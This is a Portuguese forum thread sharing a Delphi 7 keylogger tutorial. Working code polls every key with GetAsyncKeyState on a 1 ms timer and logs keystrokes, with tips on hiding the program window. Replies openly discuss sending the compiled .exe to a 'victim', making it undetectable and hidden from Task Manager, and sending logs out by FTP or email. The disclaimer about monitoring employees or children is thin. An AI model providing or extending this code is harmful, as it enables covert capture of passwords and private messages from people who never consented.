Tuto criando keylogger delphi7

[Garugon 0]

estarei postando,Um método fácil de capturar tudo oque é digitado no computador com Windows, ou seja, um método fácil de criar um keylogger. É uma dica de programação, portanto não é para qualquer um. Uso o Borland Delphi 7, deve funcionar em diversas outras versões também...

Como é avançada, apesar de relativamente fácil,

Inicie o Delphi e crie um novo projeto. Insira um Memo e um Timer.

No código, defina a seguinte função:

 

Código:

function Coloca(txt: String): String;

begin

Form1.Memo1.Text := Form1.Memo1.Text + txt;

end;

 

E coloque no evento Timer do temporizador:

 

Código:

procedure TForm1.Timer1Timer(Sender: TObject);

var

keyloop, KeyResult : Integer;

begin

keyloop := 0;

repeat

KeyResult := GetAsyncKeyState(keyloop);

if KeyResult = -32767 then

begin

case keyloop of

8: Coloca(' [bACKSPACE] ');

9: Coloca(' [TAB] ');

12: Coloca(' [ALT] ');

13: Coloca(' [ENTER] ');

16: Coloca(' [sHIFT] ');

17: Coloca(' [CONTROL] ');

18: Coloca(' [ALT] ');

20: Coloca(' [CAPS LOCK] ');

21: Coloca(' [PAGE UP] ');

27: Coloca(' [ESC] ');

33: Coloca(' [PAGE UP] ');

34: Coloca(' [PAGE DOWN] ');

35: Coloca(' [END] ');

36: Coloca(' [HOME] ');

37: Coloca(' [sETA ESQUERDA] ');

38: Coloca(' [sETA ACIMA] ');

39: Coloca(' [sETA DIREITA] ');

40: Coloca(' [sETA ABAIXO] ');

45: Coloca(' [iNSERT] ');

46: Coloca(' [DEL] ');

91: Coloca(' [WIN ESQUERDA] ');

92: Coloca(' [WIN DIREITA] ');

93: Coloca(' [MENU POP-UP] ');

96: Coloca('0');

97: Coloca('1');

98: Coloca('2');

99: Coloca('3');

100: Coloca('4');

101: Coloca('5');

102: Coloca('6');

103: Coloca('7');

104: Coloca('8');

105: Coloca('9');

106: Coloca(' [NUM *] ');

107: Coloca(' [NUM +] ');

109: Coloca(' [NUM -] ');

110: Coloca(' [NUM SEP. DECIMAL] ');

111: Coloca(' [NUM /] ');

112: Coloca(' [F1] ');

113: Coloca(' [F2] ');

114: Coloca(' [F3] ');

115: Coloca(' [F4] ');

116: Coloca(' [F5] ');

117: Coloca(' [F6] ');

118: Coloca(' [F7] ');

119: Coloca(' [F8] ');

120: Coloca(' [F9] ');

121: Coloca(' [F10] ');

122: Coloca(' [F11] ');

123: Coloca(' [F12] ');

144: Coloca(' [NUM LOCK] ');

186: Coloca('Ç');

187: Coloca('=');

188: Coloca(',');

189: Coloca('-');

190: Coloca('.');

191: Coloca(';');

192: Coloca(' [APÓSTROFO] ');

193: Coloca('/');

194: Coloca(' [NUM PONTO] ');

219: Coloca('´');

220: Coloca(']');

221: Coloca('[');

222: Coloca('~');

226: Coloca('\');

else

if (KeyLoop >= 65) and (keyloop <= 90) then

Coloca(Chr(keyloop));

if (keyloop >= 32) and (keyloop <= 63) then

Coloca(Chr(keyloop));

//numpad keycodes

if (keyloop >= 96) and (keyloop <= 110) then

Coloca(Chr(keyloop));

end;

end; //case;

inc(keyloop);

until keyloop = 255;

end;

 

coloque o interval(no object inspector) do timer para "1"... senão ficará difícil captar neh.. rs

e ++:

é bom deixar o memo desabilitado (com a propriedade Enabled := False), pq se vc digitar nele, irá aparecer o q vc digitou naturalmente MAIS o q o Timer fica adicionando a ele, e ficará repedito e confuso..

Então... Rode o programa (tecle F9).

Tecle qualquer coisa no teclado e observe! Isso funciona mesmo se sua janela não estiver ativa (digo, se estiver por trás das outras ou ocultas). Keylogger que se preze... Não fica em janela!

Oculte-o como preferir, e salve o conteúdo do Memo onde quiser. Aí é com você...

Dica: para ocultar o programa, digite Application.ShowMainForm := False, no código-fonte do projeto, depois do Application.Initialize e antes do Application.CreateForm Mas aí você deverá ter criado um método para recuperar o que foi digitado,

Adapte o programa como você quiser, afinal aqui apenas mostrei como é possível capturar o que foi digitado. Lembre-se de que ele poderá ser fechado pelo Gerenciador de tarefas do Windows, através da guia "Processos".

deixo claro que esse código realmente "funciona", eu testei e coloquei algumas coisas a mais. eh soh adaptar ao q vc quer fazer!

UM KEYLOGGER PODE SER VISTO COMO UM PROGRAMA DO MAL, QUE COLETA DADOS DO USUÁRIO SEM O CONSENTIMENTO DESTE, E ENVIA AS INFORMAÇÕES COLETADAS PARA ALGUM HACKER OU PESSOA DO MAL. MAS ESSE MESMO KEYLOGGER PODE SER USADO PARA IDENTIFICAR O FUNCIONÁRIO QUE ZÔA NOS COMPUTADORES DA EMPRESA, PARA VER O QUE SUA FILHA DE 10 ANOS TECLA NO MSN,orkut ETC.

[-"ThóòrzéènhO 0]

tipo é indetectavel ?

[Garugon 0]

Sim,manda pra vitma ela vai executar ai ja ta no pc dela :)

[MaLv 0]

Que eu saiba não precisa de timer pra fazer um keylogger HUSAUHSUHA

e ainda esses códigos ai é o minimo que coloca no keylogger ._.

Tem muitas outras funções pra deixar indetectavel e não aparecer no Gerenciador de tarefas

 

Ah quem sabe fazer KL sabe do que to falando.

[guiturbo 0]

mano como q eu envio pra alguem ?tipo qual e o arquivo q tem que manda?

[HernandoH 0]

Tutorial muito mal explicado deveria melhorar aew passo por passo man

[tekitos123 3]

Que eu saiba não precisa de timer pra fazer um keylogger HUSAUHSUHA

e ainda esses códigos ai é o minimo que coloca no keylogger ._.

Tem muitas outras funções pra deixar indetectavel e não aparecer no Gerenciador de tarefas

 

Ah quem sabe fazer KL sabe do que to falando.

 

 

ainda o cara nem coloca os creditos de onde deu ctrl+c + ctrl+v

 

mano como q eu envio pra alguem ?tipo qual e o arquivo q tem que manda?

compila o projeto e manda o .exe pra vitima

legal agora vc mando o kl mais como vc vai saber o q ta sendo digitado sendo q ele nem ta salvando log e te enviando os logs

[darks4444 0]

n consigui fazer ,, esplica melhor aiii

 

function Coloca(txt: String): String;

 

 

ta dando erro isso

[ricardolg36 0]

Coloque a fuction em baixo de :

 

implementation

 

{$R *.dfm}

 

Agora vai funcionar !!!

[tekitos123 3]

n consigui fazer ,, esplica melhor aiii

 

function Coloca(txt: String): String;

 

 

ta dando erro isso

 

copie a função logo abaixo de

{$R *.dfm}

[[F]غrnandido™~ 0]

onde fica o evento Timer do temporizador:confused:

e como q eu vo sabe o que ele escreve?

aonde vai ta escrito?

[N3TW0RK 0]

Cara esse tuto tá incompleto e mal explicado isso é um keylogger local vai abrir o programa e vai salvar o q foi digitado e ai? vc vai mandar pra vitima vai abri no pc dela e o log vai salva e fica la kkkkkk

 

tem que configura o envio de email

[darks4444 0]

aeww consegui

 

mais agora a unica coisa que pesso é:

 

Faz um tuto de como nós enviamos para as pessoas em que os logs estejam sendo mandados para o criador...

 

não sei se ta esplicado ai pq ta tudo bagunçado mais é so isso que pesso

[tekitos123 3]

aeww consegui

 

mais agora a unica coisa que pesso é:

 

Faz um tuto de como nós enviamos para as pessoas em que os logs estejam sendo mandados para o criador...

 

não sei se ta esplicado ai pq ta tudo bagunçado mais é so isso que pesso

 

salvar o log e mandar via ftp q tal??

InternetOpen , FtpPutFile , InternetConnection procure por essas funçoes no msdn

[darks4444 0]

salvar o log e mandar via ftp q tal??

InternetOpen , FtpPutFile , InternetConnection procure por essas funçoes no msdn

 

 

oque é msdn? ¬¬'

[leoxwyd 3]

Muito mal explicado ^^

 

Faz video aew ?

[ricardolg36 0]

Amigo , só ta pouco explicado, mais pra quem conhece tudo oque vc falou ta blz , achei muito bom seu tutorial !!!:p

[Pistinha4 0]

GENTE... TO COM UMA PARADA AQUI! QUANDO EU COLOCO A FUNÇÃO "COLOCA" ELE PEDE PRA DELETAR!:mad:

ANTES DE CONHECER ESSE FORUM EU LI NUM OUTRO (NO QUAL NÃO VOU CITAR O NOME) AI UM CARA DISSE QUE EU DEVERIA DECLARAR A FUNÇÃO NO ME DELPHI! MAS COMO EU NÃO SOU PROGRAMADOR EU ESTOU PRECISANDO DE AJUDA!;) VOCÊS PODERIAM ME PASSAR O CODIGO DE DECLARAÇÃO DA FUNÇÃO "COLOCA"?POR FAVOR!:D:D:D

 

:confused::confused::confused::confused::confused:

[matheusguerra 3]

cara o timer não serve pra isso.

mais eu tenho um problema, tipow eu fiz tudo certinho dae no otro dia foi mostra pro meu primo e não funcionava direito :D ^^

[Kadak22 0]

Consegui fazer, mas não ta funcionando...não ta aparecendo nada de mais!!!

Ajuda ae..vlw!!!:cool:

[DragonBoss 8]

Pessoal, por favor, sejam mais claros nas suas duvidas, expliquem melhor e tals... mas vo tenta ajudar:

 

@[F]غrnandido™~

Para ver as propriedades de um componente, no caso do timer, apenas clike sobre ele no Form, e depois va ateh o Object inspector, ae la vc vera as propriedades dele, bem como os eventos.

Os logs (teclas digitadas) aparecerao no Memo, inserido no Form.

 

@Pistinha4

Uma function (funçao) sempre eh colokada abaixo do Implementation no codigo, isto eh, no inicio do codigo, um pouco abaixo das uses, vc vera algo escrito "implementation", simplesmente copie o codigo da funçao do tutorial e cole abaixo desse Implementation.

 

@matheusguerra

Caso vc tenha testado o programa em outro computador (nao sei se eh o caso) uma imcompatibilidade de sistema pode causar erro no programa ( como uma má execução do timer, por exemplo) alterando assim a funcionalidade do programa.

 

@Kadak22

Nao esta aparecendo os logs no Memo ? se for isso, veja se o nome dos componentes estao de acordo, e tente seguir o tutorial exatamente como esta, veja se nao ha erro na funçao ou no codigo do timer que capta as teclas.

 

 

Eh isso pessoal, nao sei se ajudei alguem, mas tentei ^^

 

flw, abraços

[matheusguerra 3]

qui nada velho, o meu problema (antigo) erra no timer eu esquecia de mudar para 1

mais eu mesmo achei o erro